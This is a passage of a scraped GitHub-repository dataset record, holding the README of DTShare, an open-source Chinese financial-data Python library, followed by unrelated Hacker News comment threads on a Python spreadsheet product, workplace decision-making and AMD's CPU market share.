annotator.start()\n\n    # annotator.properties contains all the right properties for\n    # Stanford CoreNLP to use this annotator. \n    with corenlp.CoreNLPClient(properties=annotator.properties, annotators=\"happyfun ssplit pos\".split()) as client:\n        ann = client.annotate(\"RT @ #happyfuncoding: this is a typical Twitter tweet :-)\")\n\n        tokens = [t.word for t in ann.sentence[0].token]\n        print(tokens)\n\n\nSee `test_annotator.py` for more examples.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "DTShare/dtshare", "link": "https://github.com/DTShare/dtshare", "tags": [], "stars": 505, "description": "DT\u65f6\u4ee3\u7684\u6570\u636e\u5171\u4eab\u548c\u5e94\u7528", "lang": "Python", "repo_lang": "", "readme": "#DTShare\n\n----------\n\nData sharing and application in the DT era provides users with high-quality and convenient data.\n\nFirst of all, I would like to thank the \"originator\" project of financial open data - [Tushare](http://github.com/waditu/tushare), which opened up the way for open financial data and provided ideas, leading the data to gradually open up, and at the same time It also provides enough open source code for the industry to learn and refer to. For more Tushare information, please visit [Tushare official website](https://tushare.pro \"Tushare\").\n\nSecond, thanks to all DTShare users for their attention. We will continue to work hard to contribute to the cause of data. At the same time, we also welcome more small partners to join us, to work together for data and AI implementation, and to realize our own value.\n\n\n![](http://dt-share.com/img/dtshare-logo.png)\n\nDTShare is a completely open source and free data open project.\nIn the era of DT and AI, data is the most precious resource and the primary means of production that drives information intelligence. We are determined to collect and organize open data from all walks of life to provide users with convenient access to data. So far, we have mainly started from securities finance and provided data on stocks, futures, funds, and macroeconomics. More data will be provided in the near future. Serve users wholeheartedly!\n\n\nFor detailed instructions and documents, please visit the official website address: [http://dt-share.com](http://dt-share.com)\n\n# Install #\n\n> pip install dtshare\n\n# upgrade #\n\n> pip install dtshare --upgrade\n\n\n# Example 1: Obtain real-time tick quotes (including call auctions)\n\n> import dtshare as dt\n>\n>\n> df = dt.get\\_tick_data('600868')\n>\n> print(df)\n\n             time price vol type\n0 091503 21.64 29 -\n1 091509 21.65 93 -\n2 091536 21.64 129 -\n3 092427 21.63 295 -\n4 092442 21.62 295 -\n... ... ... ... ...\n2105 145652 21.46 16 buy\n2106 145655 21.46 52 buy\n2107 145658 21.46 3 buy\n2108 145702 21.47 2 Sell\n2109 150059 21.46 415 buy\n\nThe real-time tick data of individual stocks can be obtained, and the indicators are:\n\n- time : transaction time\n- price: transaction price\n- vol: transaction volume\n- type: buying and selling direction\n\n# Use example 2: Obtain real-time index and list\n\n> import dtshare as dt\n>\n> df = dt.get_index()\n> print(df)\n\n          code name change ... low volume amount\n0 000001 Shanghai Composite Index -1.21 ... 3029.4632 362061533 3773.8854\n1 000002 A-share index -1.21 ... 3174.6675 361838944 3772.7966\n2 000003 B share index -0.21 ... 241.3628 222589 1.0889\n3 000008 Composite Index -1.45 ... 2820.4868 71442864 719.6169\n4 000009 SSE 380 -0.72 ... 5013.0374 73600788 764.3923\n.. ... ... ... ... ... ... ...\n21 399106 Shenzhen Composite Index -0.74 ... 1902.6370 53885674076 5801.0435\n22 399107 Shenzhen Stock Exchange Index A -0.74 ... 1990.7430 53861659420 5800.1456\n23 399108 Shenzhen B Index -0.41 ... 940.0110 24014656 0.8979\n24 399333 Small and medium plate R -0.89 ... 8466.0090 4774643669 841.840425 399606 GEM R -0.75 ... 2294.6250 2790377749 628.8269\n\n\n\n\n# Data Sources  #\n\nThanks to the following excellent websites for their public disclosure data:\n\n[Shanghai Stock Exchange website](http://www.sse.com.cn/assortment/options/price/): market data;\n\n[Shenzhen Stock Exchange website] (http://www.szse.cn/): market data;\n\n[China Financial Futures Exchange website] (http://www.cffex.com.cn/): futures data;\n\n[Shanghai Futures Exchange website] (http://www.shfe.com.cn/): futures data;\n\n[Dalian Commodity Exchange website] (http://www.dce.com.cn/): futures data;\n\n[Zhengzhou Commodity Exchange website] (http://www.czce.com.cn/): futures data;\n\n[Shanghai International Energy Exchange Center website] (http://www.ine.com.cn/): futures data;\n\n[China Foreign Exchange Trading Center and National Interbank Funding Center website] (http://www.chinamoney.com.cn/chinese/): foreign exchange data;\n\n[China Asset Management Association] (http://gs.amac.org.cn/): private equity fund data;\n\n[Sina Finance Website](https://finance.sina.com.cn/): comprehensive financial data;\n\n[East Money Website] (http://data.eastmoney.com/jgdy/): market data;\n\n[Shangshangshe website] (http://www.100ppi.com/): data on non-ferrous metals;\n\n[Website of NAFMII](http://www.nafmii.org.cn/): Interbank transaction data;\n\n[99 Futures Website](http://www.99qh.com/): futures data;\n\n[Yingwei Finance website] (https://cn.investing.com/): market data;\n\n[Jin10 Data Website] (https://www.jin10.com/): news information data;\n\n[Trading Famen Website](https://www.jiaoyifamen.com/): market data;\n\n[Hexun Financial Website] (http://www.hexun.com/): market data;\n\n[Ziasset website] (https://www.ziasset.com/): index market data;\n\n[timeanddate website](https://www.timeanddate.com/): sunrise and sunset data;\n\n[Hebei Province Air Quality Forecast Information Publishing System Website](http://110.249.223.67/publish/): Air quality data of Hebei Province;\n\n[Nanhua Futures Website](http://www.nanhua.net/nhzc/varietytrend.html): futures index data;\n\n[Economic Policy Uncertainty website](http://www.nanhua.net/nhzc/varietytrend.html) Economic Policy Uncertainty (EPU) index data;\n\n[Weibo index](https://data.weibo.com/index/newindex): Weibo index data;\n\n[Yiwu Small Commodity Index Website](http://www.ywindex.com/Home/Product/index/): small commodity transaction data;\n\n[National Development and Reform Commission of China website](http://jgjc.ndrc.gov.cn/dmzs.aspx?clmId=741): macro data;\n\n[Netease News](https://news.163.com/special/epidemic/): news information data;\n\n[Lilac Garden website] (http://3g.dxy.cn/newh5/view/pneumonia?scene=2&clicktime=1579615030&enterid=1579615030&from=groupmessage&isappinstalled=0): epidemic data;\n\n[Baidu website](https://voice.baidu.com/act/newpneumonia/newpneumonia/?from=osari_pc_1): big data;\n\n[Baidu Migration Website](https://qianxi.baidu.com/?from=shoubai#city=0): big data;\n\n[New type of pneumonia - same itinerary query tool website] (https://rl.inews.qq.com/h5/trip?from=newsapp&ADTAG=tgi.wx.share.message): epidemic data;\n\n[New pneumonia-community query](https://ncov.html5.qq.com/community?channelid=1&from=singlemessage&isappinstalled=0): epidemic data;\n\n[Commercial franchise information management website] (http://txjy.syggs.mofcom.gov.cn/): market data;\n\n[Charity China website] (http://cishan.chinanpo.gov.cn/platform/login.html): charity data;\n\n\n[Baidu Index](http://index.baidu.com/v2/main/index.html): Baidu Index data;\n\n[Google Index](https://trends.google.com/trends/?geo=US): Google Trend Index data;\n\n[SW Index] (http://www.swsindex.com/idx0120.aspx?columnid=8832): industry index data;\n\n[AQI Air Quality Data](https://www.aqistudy.cn/): air quality data;\n\n[Fortune China website] (http://www.fortunechina.com/): Fortune Global 500 data;\n\n[Maoyan Movie](https://maoyan.com/board/1): real-time box office data;\n\n[Expatistan website](https://www.expatistan.com/cost-of-living): Cost of living data in major cities around the world;\n\n[National Finance and Development Laboratory website] (http://www.nifd.cn/): macro leverage ratio;\n\n[Beijing Carbon Emissions Electronic Trading Platform] (https://www.bjets.com.cn/article/jyxx/): Carbon emissions market data;\n\n[IT Juzi](https://www.itjuzi.com): investment and financing data;\n\n\nMore data is coming online.....\n\n\n\n\n## Communication and Contact\n\nYou can follow our WeChat public account to get the latest information:\n\n![](http://dt-share.com/img/weixin.png)\n\nAlso welcome to join the official QQ group communication: **1072948998**\n\n![](http://dt-share.com/img/dtshare_qq.png)", "readme_type": "markdown", "hn_comments": "I've seen a bunch of companies do this.  The problem is always that it isn't Excel.  This means usually things like XLWings, Excel-DNA, etc. are actually more useful.<HN_SEP>Traditionally the business is the source of spreadsheets (data comes from the biz side of the equation). The data analyst then has to make sense of the data.So to convince a BA to input their data on Neptyne because the DA might need to python script it at some point is maybe premature optimization.That's an uphill battle... But I definitely see it a good case for me personally as someone who both originates data (nothing fancy) and needs to process it further...Will definitely check it out!<HN_SEP>Wow this is cool! I created a similar thing over the summer but never took it anywhere because I felt GSheets would just add Python.https://github.com/ricklamers/gridstudioRooting for you guys<HN_SEP>I had three minutes, clicked tutorial and got a modal asking me to sign up.Left the page.<HN_SEP>Wow this is so cool!I'm trying the app tutorial out and some of the calculations (e.g. the sum() step) is taking maybe 30-60 seconds to complete \u2014 is that usual, or are you getting hugged by HN?<HN_SEP>Looks cool! Since you mentioned all the magic happening in the backend, how does it run? How do you ensure I am not running malicious Python code, like infinite for loop or never-ending recursion? Also, disabling file or network IO?Did you also explore running Python in the browser using wasm?<HN_SEP>Please no<HN_SEP>This is neat. Congrats on the launch. Having a python repl next to spread sheet will be handy for a lot of user cases.<HN_SEP>I don't know what to make of the fact that reactivity doesn't seem to be discussed in the docs or the tutorial. I am a fan of ObservableHQ's reactive JavaScript notebooks, in which blocks of code get rerun when their inputs change. This is reactivity in the same sense as spreadsheets are reactive, and it's pretty neat. One nice feature of ObservableHQ is that you can use free variables when writing code blocks, and they will get their values (reactively) from the environment. That is very powerful and it seems to me that plugging a scripting language into a spreadsheet should work that way as well.<HN_SEP>Interesting! Congrats on the launch.I tried it out, and just first feedback:- I often use the \"Home\" and \"End\" key to go the start/end of the line when I'm editing a cell. It scrolls to start/end of the whole spreadsheet, however. Since I'm not a spreadsheet user, I'm not sure if that's expected.- The handlers like \"on_dropdown_change\" should receive an argument for the cell it's coming from, so you can e.g. change the cell that's next to it. Or how else is this supposed to be done?It's quite cool :-) I suppose one problem could be integration with existing Google Sheets / Excel sheets?<HN_SEP>Good job! i really like the idea and also the implementatino is really good for something totaly new!\nBut as much as i would love to see this as the new MS excel i can't immagine this replacing it.\nI wish you good luck and i hope more ppl will start using this instead of MS excel<HN_SEP>does this neptyne also work off-cloud?\ne.g. now way that i'll upload my data into the void.<HN_SEP>How is this different from other solutions such as this one: https://equals.app?<HN_SEP>Congrats ! Looks really cool !I always had this rule of thumb, \"the better a programmer is at spreadsheets, the worse  programmer he is\" :D  Mostly cause I suck so much at spreadsheets. I always think to myself, dammit I'm a career programmer how come I can't do a double-column lookup across two sheets with my eyes closed :(Anywhoo congrats again, now can we make it work with something nice like Clojure or Lisp :P ?<HN_SEP>Pricing info? Maybe I'm missing it but I don't see it on the site.<HN_SEP>How do you manage version control and testing? I can't see anything in the docs about that.Lack of review/tests etc is the main reason IMO that spreadsheets can be very dangerous tools. The more they become production applications the greater the impacts are.<HN_SEP>Questions:This is a platform as a service?How does the frontend work with the backend, it\u2019s all backend and magic stuff to reflect it on the frontend?<HN_SEP>Looks cool, but the get started --> skip signup to try now --> empty tyne flow is broken. When I click \"empty tyne\", it just reloads the page and blocks you with \"empty tyne\" again and again.Also, I'm curious if it supports live collaborative editing like google sheets/docs/etc do?<HN_SEP>This sounds like a really good idea - combining spreadsheet convenience with being able to do programmatic manipulations with python can be really value for people who are using spreadsheets to do modeling (e.g financial). I think (especially based on some other comments) a big challenge will be just getting people out of their current bubble. If you do financial modeling, you might be entrenched in excel, and if you so data science in python, you might never dream of using spreadsheets.My unsolicited advice (that's probably on your radar anyway) would be to try and get a management consulting firm on board with this. The flexibility this has would be well used there, and you've got lots of people who are engineers stuck using spreadsheets that would be on board with trying something like this.<HN_SEP>How does it interact with libraries that need the file system? e.g. Can I use requests-cache?<HN_SEP>Very Excited.I'm likely very close to the ideal user. I don't program for work but make CSV-consuming tools from Python here and there to work on giant exports of data when they get outside of Excel's built-in magic.Most recently the exact task was to consume a Zoom user export, filter with RegEx, and transform the table for upload to Zoom as a CSV again, but with different fields. This would translate very well to Neptyne if it supported 70k rows.<HN_SEP>Very cool but what's to stop Microsoft from doing this in Excel and making it instantly integrated into the software that millions of us already use?<HN_SEP>I believe Google Sheets supports programmability using Javascript these days. Is your product fundamentally different?\nThanks and all the best.<HN_SEP>This is really cool and promising product! So many times when I was getting a google docs spreadsheet from non-engineering folks I was wondering if only I can embed a small jupyter notebook with a few python cells and a nice looking pandas chart, using this data.. Congrats on the launch!<HN_SEP>Just some feedback: the landing page dimensions are all out of order. There's a horizontal scrollbar under the \"sneak peak\" section. Never a good thing. The spacing between the heading and the hero image is far too wide.<HN_SEP>Why do you require a login for the tutorial?  I backed out because of it.<HN_SEP>The concept of Python-based spreadsheets was explored by Resolver One[1], a defunct proprietary desktop app that was discontinued ~10 years ago[2].It seems a web version of the app has been published in open-source[3] but that too has been EOL.[1] https://web.archive.org/web/20120211201410/http://www.resolv...\n[2] https://www.resolversystems.com\n[3] https://github.com/pythonanywhere/dirigible-spreadsheet<HN_SEP>This is impressive. It seems like you really understand the requirements of the audience that uses spreadsheets AND data centric Python! The REPL, in particular, is a nice touch.My biggest concern with a tool like this is that the power-iest power users who would love it tend to work at big enterprises where they're locked into productivity suite bundles with Microsoft or Google. Additionally, if you get traction, Google and Microsoft would be very likely to clone your features for Sheets and Excel.<HN_SEP>Good opportunity to highlight Google \"Apps Script\" which is one of the most powerful but unknown tools in the web:\nhttps://developers.google.com/apps-script/guides/sheetsIncludes easy fetching:\nhttps://developers.google.com/apps-script/reference/url-fetc...I suppose python could be better for this use case but javascript seems to work fine. And it's all built righ in to Google Sheets.<HN_SEP>Very cool! Does it allow real-time multi-person editing? (It's not very clear from the landing page.)If so - how do you handle multiple people editing the code area at the same time?Would be a killer feature if this was robust!<HN_SEP>Forced signup to even test it? Hard pass<HN_SEP>This is cool, but I think it might be missing what the big problems with spreadsheets are.I was complaining just today because I pasted some records into Excel and it decided to treat 933349234275230104 as a number (it's a hash), convert it to scientific notation (which I NEVER want), and lose precision. Yet there is no way to globally disable scientific notation. Plus it's kind of insane that \"formatting\" changes data in the first place.I frequently paste timestamps into Sheets or Excel and it just ruins everything. If split-to-text puts the date part in one column and the time part in another, I can't put them back together with a simple string concatenation, because again \"formatting\" turned my date text into Excel's weird internal number. This is legacy behavior that Excel has to keep for backward compatibility, but I don't want it, and I wish I could turn it off.Sometimes I'll try to scatter-plot 5 series against a timestamp, and Excel will decide all 6 columns are series, even though a scatter plot with no X-axis makes zero sense. Even when it does work, Excel seems stubbornly uninterested in understanding how dates/times work, and I can't do simple things like tell it to have an X-axis tick every day/week/month.If you are building a spreadsheet in 2023, the #1 goal should be leaving behind all the baggage, even if it has to be behind a toggle. Listen to what people find frustrating about Excel (tip: it's gonna be dates) and fix that.If you can do that, then yeah, Python! Woo! Neat! But that's not going to be the main draw, because it's not a solution to the main problems that spreadsheets have.<HN_SEP>I like this idea. If I\u2019m doing anything more than a trivial formula in Excel or Google Sheets then it\u2019s a pain to look up the proper syntax. Just being able to use Python sounds great.<HN_SEP>> You mix Excel style cell addresses (A1, C3) and ranges (B2:B20)Well, that's unfortunate for \"power\" users - I'd imagine they'd want what excel calls r1c1 mode:https://learn.microsoft.com/en-us/office/troubleshoot/excel/...One of the many valuable lessons from Joel Spolsky \"You suck at Excel\" (around 8:30 mark):\nhttps://youtu.be/0nbkaYsR94c<HN_SEP>This would be actually useful if it were offline and didn't require a login.<HN_SEP>Looking for something like this exactly. Is it possible to install on site? No way my company would want prop data on a cloud.<HN_SEP>This looks fantastic, and sadly completely misses the mark on a huge industry that uses excel every day: investment management, hedge funds, etc. Why? Because this is yet another cloud only solution with no self hosting possibility.These firms are very-very rich and would pay good money, but a very small %-age will be willing to give you their data. It doesn't matter how many certifications you quote about data treatment, we will simply not trust you with our data, full stop.You say pyxll is a mediocre tool, but IMO they understand how this industry works.Really sad, because the tool itself looks fantastic...<HN_SEP>Congrats on the launch! I'm the cofounder of Mito[1], an open-core spreadsheet extension to Jupyter that generates the equivalent Python code every time you edit your data. We also think that combining the intuitiveness of spreadsheet UI with the repeatability and large-data-handling-abilities of Python is going to unlock a bunch of Excel-first analysts to save themselves tons of time by automating repetitive reports.One difference in our approach is that the Mito spreadsheet goes from Spreadsheet -> Python code, instead of the other way. For every edit you make in the Mito spreadsheet, we generate the equivalent Python code for you.In practice, this has been really important for us for few reasons:1) A lot of our users are early in their Python journey. They might've taken a Udemy course or done some Kaggle classes, but generally they are not yet comfortable writing a Python script from scratch. Since they already have a ton of work on their plates, if the option is do the report manually in Excel for 2 hours today or spend the next 2 days writing a Python script to automate their work and save them those 2 hours a day each month going forward, they will probably choose to do it manually. By giving them the Python code for the edits that they make, its more like build the report for 2 hours today in Mito and get the Python script automatically so you don't ever have to build the report again.2) There are 1 million and 10 things that users want to do in a report, so by giving the user the equivalent Python code, they're able to use the code they've generated as a starting point, not the finish line. For example [2], one really common use case we've seen is Excel workbooks with the following tabs: input_data, Jan 2020, Feb 2020, \u2026, Dec 2022, \u2026. In each case, the month tab corresponds to the same sort of filtering and transformations of the input data. These users get a huge amount of value out of actually having access to the Python code that they generated. The user will use the Mito spreadsheet to generate tab Jan 2020, turn the Mito generated code into a function, and then apply the function to generate Feb 2020 ... December 2022.[1] https://www.trymito.io\n[2] https://blog.trymito.io/automating-spreadsheets-with-python-...<HN_SEP>\"Supercharge your spreadsheets with Python and AI\"lol, threw in the AI there just in case<HN_SEP>or just use pivot table.<HN_SEP>> Drag the corner from F7 to F9 to compute the total cost for each unit.I do that.> Server connection error: failed to connect to serverI get that the system is overloaded, but if every small action requires a network, and I can't use it with intermittent network let alone offline, I'm not too thrilled.<HN_SEP>This seems like an amazing idea probably because I know python pretty well... People who can't use python probably won't be into it.<HN_SEP>Very cool idea. Since it is based on Jupyter Notebook, can I self host this for my needs?<HN_SEP>Congratulations on the launch! I'm very excited to try replacing my hacked-together AppScript with this.<HN_SEP>wasn't there some rumours about excel adding python support? what happened to that?<HN_SEP>Is there an api or cli interface so I don't have to use the web ide?<HN_SEP>I know python, don't really know VBA.  This will open up a new world for me. Excited to try it out.<HN_SEP>I yet to understand a reason for cell to be addressed by A1 or C1R1 style. put it in a table, give a column a name. Numbers got it right.<HN_SEP>Cool idea but not ready for primetime. The very first thing in the demo didn't work: couldn't drag the cell and couldn't use command+C to copy the data.<HN_SEP>On the surface this seems like an impossible market to penetrate. But you must know this. What is the deeper insight that one who thinks this is missing?<HN_SEP>LibreOffice Calc combined with python's pandas and numpy modules meet all needs I have for spreadsheets, with matplotlib and seaborn for visualization.  The Ipython shell is the optimal IDE for this approach IMO. My desktop reference is:\"Python for Data Analysis 2nd ed\" (Wes McKinney, 2018)<HN_SEP>I remembered Alphasheets was acquired by Google a couple of years ago for doing similar thing (they programmed in Haskell which is really cool) https://medium.com/bloated-mvp/alphasheets-mvp-review-ec328e...<HN_SEP>Very cool! I constantly struggle trying to do things in spreadsheets that are easy in Python. But I/O makes it annoying to write one-off scripts for a 30 second op. This would solve that pain point!I would love a Google Sheets integration, since that's where I already live with most of my CSV/Sheets data + it would seamlessly fit into my workflow. If this was a Chrome extension I would have installed it today.As is, I don't see myself using another spreadsheet app.<HN_SEP>What's are the costs? Couldn't find it on the site.<HN_SEP>I can't understand how this will improve the work. I see the value of having python instead of sheets formulas for python developers, but developers would work on totally different toolsets (like Jupyter notebook, as you mentioned), or something like StreamIt or https://gradio.app/This would be useless for spreadsheet users (those who use sheet formulas) as they have to learn python.I'm not in the target audience, so I might be completely wrong about the use cases.<HN_SEP>Congrats on the launch. Building a product of this complexity is no easy feat! Out of curiosity: given the old adage that a product needs to be 10x to overcome switching costs, how do you prove users that you are 10x better than Google Sheets or Excel?<HN_SEP>This is really cool. There was another recent post about something similar: https://news.ycombinator.com/item?id=34805132One question/thought: what's your security like? Inevitably, people treat spreadsheets like databases for better or worse. That means they often contain lots of things that might be better stored elsewhere - sometimes PII, sometimes a proprietary formula, set of factors as inputs to a process, etc.So, I think many spreadsheet-heavy businesses will avoid something that doesn't obviously sit inside the fortress of security they've approved. Of course, someone can just accidentally email a spreadsheet to the wrong person or store it somewhere with no security. It happens all the time, I'm under no illusion.Point is: I would be more likely to give it a shot given a base level of confidence about the security of storing anything in these sheets.Interested to hear your take!<HN_SEP>hey not sure if intended but the hero section looks odd at bigger screen sizes (https://imgur.com/a/j7QH8kJ)<HN_SEP>FYI There is PyXLL which is an add on for Microsoft excel that gives this functionality without a need to log into any thing.<HN_SEP>Reminds me a little of the long-defunct \"ResolverOne\" for which the only reference I could find was https://www.python.org/about/success/resolver/<HN_SEP>I may be wrong, but most people that know python have already understood there's better ways to code than spreadsheets. Also, at least where I live, not even Google could undermine Excel's dominance.PS: I'm convinced I was indeed wrong after reading replies, because I didn't consider the interaction of coders with no coders, and this tool may indeed be useful. Nevertheless I maintain these cultural changes are very hard, and wish the company good luck!<HN_SEP>This reminds me a lot of DabbleDB. It was an interesting application written in Seaside, a very cool web framework running inside the Smalltalk VM. They got acquired by Twitter.<HN_SEP>I like the idea: I was actually looking at an open source tool that does something similar: combine spreadsheets with python.I do have a question: Similar tools tend to fall down after the code grows to a certain size. Modularity, unit tests, etc. become more useful at this point. I'm wondering if Neptyne will (or does?) support these sorts of features?Edit: Here's a link to the developer docs: https://docs.google.com/document/d/1zLOXBoy-nf05SU3d5sZ7lDDg...<HN_SEP>I'd like to try - it's quite a cool idea. But the interface seems broken.Is that the HN hug of death, or my corporate netowrk playing up?<HN_SEP>This looks really cool.When I try to get started on https://neptyne.com/neptyne/_new though, I get a HTTP 403 for the POST to https://neptyne.com/api/tyne_new and it brings be back to the selection screen.<HN_SEP>Very cool. I've done plenty of work supporting non-technical users who primarily interact with spreadsheets. This would definitely make my life easier.Is it going to be cloud-only, or are you planning on making a desktop app? If it's cloud-only, you can grab some (hopefully many) Google Sheets users, but most Excel users will probably pass.<HN_SEP>Hey, this is awesome!  As someone who primarily codes in Python, I love that it's first class with a REPL!  Nothing frustrates me more then when I have to figure out Javascript for scripting in Google Sheets.I ran through your demo and I have some feedback:- Tab completion in the REPL would be great.- When I change code in the editor, it doesn't update the cell where that code is used until I click on the cell, click away, and click back.- When I ran the append function, it worked, but if I look at the array in the cell, it's unchanged.  If I click on the cell and hit enter, it wipes out the append.  I'm honestly not sure what the right behavior here is, I can see use cases on both sides.  But initially I did expect the cell with the array to update with the new array.- When I tried to do autocomplete on the capitals, it failed silently.  I assume the API failed to fetch the capitals?  It worked on the second try (but took a while).- When I add a column into the sheet, it breaks all the code that has cell references.  I'd expect the code with cell references to get updated unless my references are $F$4 for example, just like in the sheet itself.Overall though this is a great start!<HN_SEP>This looks very useful, I can see this being used in schools and universities for a plethora of studies.However I am European in EU, and while your Privacy policy is eminently readable, I don't think it can be used in EU school settings as you do not specify who your 3rd party service providers ar, what their privacy policys are or where data is hosted (thank you for making it human non lawyer readable).Schools/Universities in EU are not allowed to use services that are not hosted in EU.Im not sure if you use Google Analytics but please know that the legality of using GA in EU has been questioned in both Netherlands and Ireland. I'm not up to speed on the proceedings but I believe  the Netherlands found it to be in violation of GDPR since the data was not stored or processed in EU. EDIT: Add Austria, France, Italy, Denmark, and now Finland to the list...<HN_SEP>Founder of AlphaSheets here -- we built this back in 2015 and developed it for 3 years. We built Python, R, SQL and full excel formula/hotkey/format/conditional formatting/ribbon compatibility. It was a long slog!I wish you good luck and all the best. It's a tough field but a big market. And I still think the potential is there.<HN_SEP>Why choose this over pySpread?https://pyspread.gitlab.io<HN_SEP>There have been a least half a dozen companies and countless FOSS projects attempting to do the exact same thing. What makes this special?<HN_SEP>can it handle a million rows? 10M?believe it or not this is my biggest problem with Sheets, and while Excel does better it's still capped at 1M<HN_SEP>Most employees optimize for promtion and job security, in my perspective<HN_SEP>Has anybody made decisions or voiced opinions for the company's good, knowing that such action is detrimental to their career?<HN_SEP>Ever read https://en.wikipedia.org/wiki/Moral_Mazes ? I think I may have originally heard of it on HN. I'm curious if it relates to your experiences.If you owned most or all of the company, maybe you would make more of an effort to prevent bad stuff, like dumping toxic waste in rivers.On the other hand, if you owned the whole company, you could maybe make a lot of money by creating externalities like dumping toxic waste in rivers.I always thought from observing others (since a year or two into my first corporate job) that the job of managers, up to and including the CEO, is to manage conflicts of interest. Fashionably, \"stakeholders\".All of the things people say about managing sound to me like misdirection from the actual meat and potatoes.As a non-manager, I've tried to train myself to never take it personally if a manager does something inhumane out of (apparently) loyalty to an organization. Maybe they feel it, or maybe they feel like they are trapped into it to keep their job.If I want something, I appeal in some manner to the underlying human feelings that I assume everyone has. Blaming people (even implicitly) for failing to be loyal to whatever they ought to be only creates bad feelings.But, people, managers and non-managers, who are good at manipulating situations by such techniques as appealing to friendship or human decency, can end up subverting a whole organization. The integrity of an organization paradoxically depends on people who follow rules for their own sake even when they lead to wrong outcomes, for a greater good. I'm thinking of the legal system and government as much as corporations.   \u201cWilliam Roper: \u201cSo, now you give the Devil the benefit of law!\u201d\n\n   Sir Thomas More: \u201cYes! What would you do? Cut a great road through the law to \n   get after the Devil?\u201d\n\n   William Roper: \u201cYes, I'd cut down every law in England to do that!\u201d\n\n   Sir Thomas More: \u201cOh? And when the last law was down, and the Devil turned \n   'round on you, where would you hide, Roper, the laws all being flat? This \n   country is planted thick with laws, from coast to coast, Man's laws, not \n   God's! And if you cut them down, and you're just the man to do it, do you \n   really think you could stand upright in the winds that would blow then? Yes, \n   I'd give the Devil benefit of law, for my own safety's sake!\u201d\n\nI have no solution to the conflicts of interest I see everywhere, which is why I've never put real effort into becoming a manager even at the lowest level.<HN_SEP>\"Ask HN: Do you make decisions like its your company?\"Only if I'm making money like it's my company.For real though, they don't want me making decisions like it's my company. They want subordination. They'll praise you if you make a decision that agrees with their views, but punish you otherwise.<HN_SEP>Do you make decisions like it's your company?I do not. Why would I? My job is to deliver what has been asked of me by my boss, on time. Sometimes I take an initiative and propose something else I could deliver, if it helps me get a promotion, earn reputation/respect, learn new skills, or is interesting to work on. Typically that something would also benefit the company, and that's how I sell it to my boss, but it wouldn't be why I want to do it.<HN_SEP>It's not about feeling like I own the company or not. I make decisions based on what I believe is right and efficient for the problem at hand. If I were CEO I would have different contexts and problems at hand probably...<HN_SEP>No. I make decisions like it's my job to keep my plate full.If the business wants to feed my useless admin work, I'll tell the once it's useless and after that I just eat it.No one cares that you're churning unsellable butter unless it becomes an existential threat.  Even then, most of us are confident enough that we're just gonna move on.<HN_SEP>Don't unless you do, or you have an explicit reward path with your own manager otherwise you seriously risk burning yourself and have nothing to show for it.<HN_SEP>Disclaimer: I was never at any position close to like Sr. Director at a fortune 100 tech giant, maybe your company is different.I use to act as if I own a large stake of the company I worked for, regretting it much later when I realized I was doing too much and knowing too little.I was just kidding myself pretending as an owner of the company therefore investing too much emotion and work into it.  Why would I pretend something that is not true?  It's not like fake it until you make it thing.I do not know how much you know about your company, but I was an outsider that knew nothing about the inner workings and secrets about it.  I thought I knew, that's the kidding myself part.Unless you are a real owner, you are just a cog in a machine.  If you perform well, you will be rewarded well as a cog in a machine not as an owner.  Most decisions you make would not affect the overall situation.  Just do your job well and try to spend time with something else you care after work, not something you have no control of.<HN_SEP>Such a misleading title.> [...] AMD now has a market share of 31.3% (up from 28.5% in Q4 2021) versus Intel's 68.7% (down from 71.5%)That's not \"grabbing over 30%\" in my book. It's grabbing 2.8%.<HN_SEP>To give you some context: before Zen, their high was 25.3% in the fourth quarter of 2006. This was the year Intel shipped the first Core CPUs and in 2007 AMD shipped the K10 architecture. Their pre-Zen low came in at 11.6% in the first quarter of 2016 but even with Zen the turnaround was not immediate as you can see in the 10.6% in Q3 2018.And while their discrete GPU market share is in decline -- and since they bought ATI they never had the lead, indeed it never went above 40%  https://overclock3d.net/gfx/articles/2022/11/29160939924l.jp... it seems they still gain significant benefits from having them by selling a lot of APUs, especially in consoles.<HN_SEP>As an Intel fanboy, I am sad to see my favorite team beaten by the competitor. I am holding out hope that their next processor will return them to the crown of price and price/performance. I am currently rocking an i7 3770k iMac 27\u201d and I am ready to upgrade.<HN_SEP>What would be even better than this duopoly would be three or more players. I was disappointed when Windows Mobile folded as look what we are stuck with now. Sucks that markets like this devolve into only two major players like consoles, mobile OSes, CPUs, GPUs, commercial aircraft, rail freight....sigh.<HN_SEP>This is good for competition sake, that's for sure. But the PC market will continue to suffer under these missed opportunities:- DRAM price fixing and limiting: we should probably have 4x more memory or more for the price we pay these days- SSD price fixing and limiting: we should probably have 2x more SSD capacity per cost- ARM in PC is still being foot-dragged. I have no faith that Intel can make an M1/M2 competitor or killer, but AMD, Samsung, and Qualcomm should be able to do it. I mean, Amazon/Aws have their own ARM chips.- compact low power PCs like raspberry-pi type form factors (or the PC stick, or similar) are ripe for the taking. I have tower case PCs from 5-10 years ago that should be replaceable with a 3\"x3\" cube design, or imagine a base power supply where you take some sort of FrameworkPC-style headless notebook blades and they sit vertically on the base. The ports all face you. If it was a great multiple-4k display super-KVM, heck yes.- AMD, Qualcomm, and Samsung should be pushing a linux desktop initiative. Microsoft and Windows are really holding back PC units with their awful OS releases. The disaster of Windows 8 has not really been fixed, and they frankly don't care. A better-than-OSX linux is out there and it is low hanging fruit.The PC market is so ripe for major innovation. It is stuck with crappy motherboard and case form factors.Intel has ALWAYS sucked at platform leadership. AMD (and/or Samsung and/or Qualcomm) don't have to be. I really hope if AMD hits 50% at some point they can push more platforms to create new markets and segments for their processors and graphics chips. Intel is beyond saving, they have never understood platforms, software, and their management is moribund in penny pinching and monopoly rent extraction.Apple still treats the PC market as an afterthought. They have the moxie and hardware/software to do something, but they aren't open enough.Qualcomm might simply be too OEM-focused to show this kind of leadership, and they'd need a major ARM PC CPU, and that is five years off.Samsung is too samsung ecosystem focused. They are not open enough.AMD is, for better or worse, the one with the market position and innovation ability to create new PC opportunities. They don't have the subservient history to Microsoft. They have more EU/world focus, and those markets should be interested/open to non-Microsoft computing.And that is the path to long term market relevance. Intel may still come back, and they have pseudomonopoly powers and relationships with big business to relegate AMD. AMD needs to continue execution in x86, but do what I described: ARM/Apple M1/M2 competitor, Linux/Steamdeck desktop OS initiatives, and push more revolutionary small form factor computing platforms. It will hedge against Intel's monopoly powers and open new markets that Intel has shown utter inability to compete in historically.And frankly, with the \"Moores Law\" family of macro-trends stalling more and more, the path to more CPU and GPU sales isn't just a faster better chip. It's getting chips into more packages, places, and 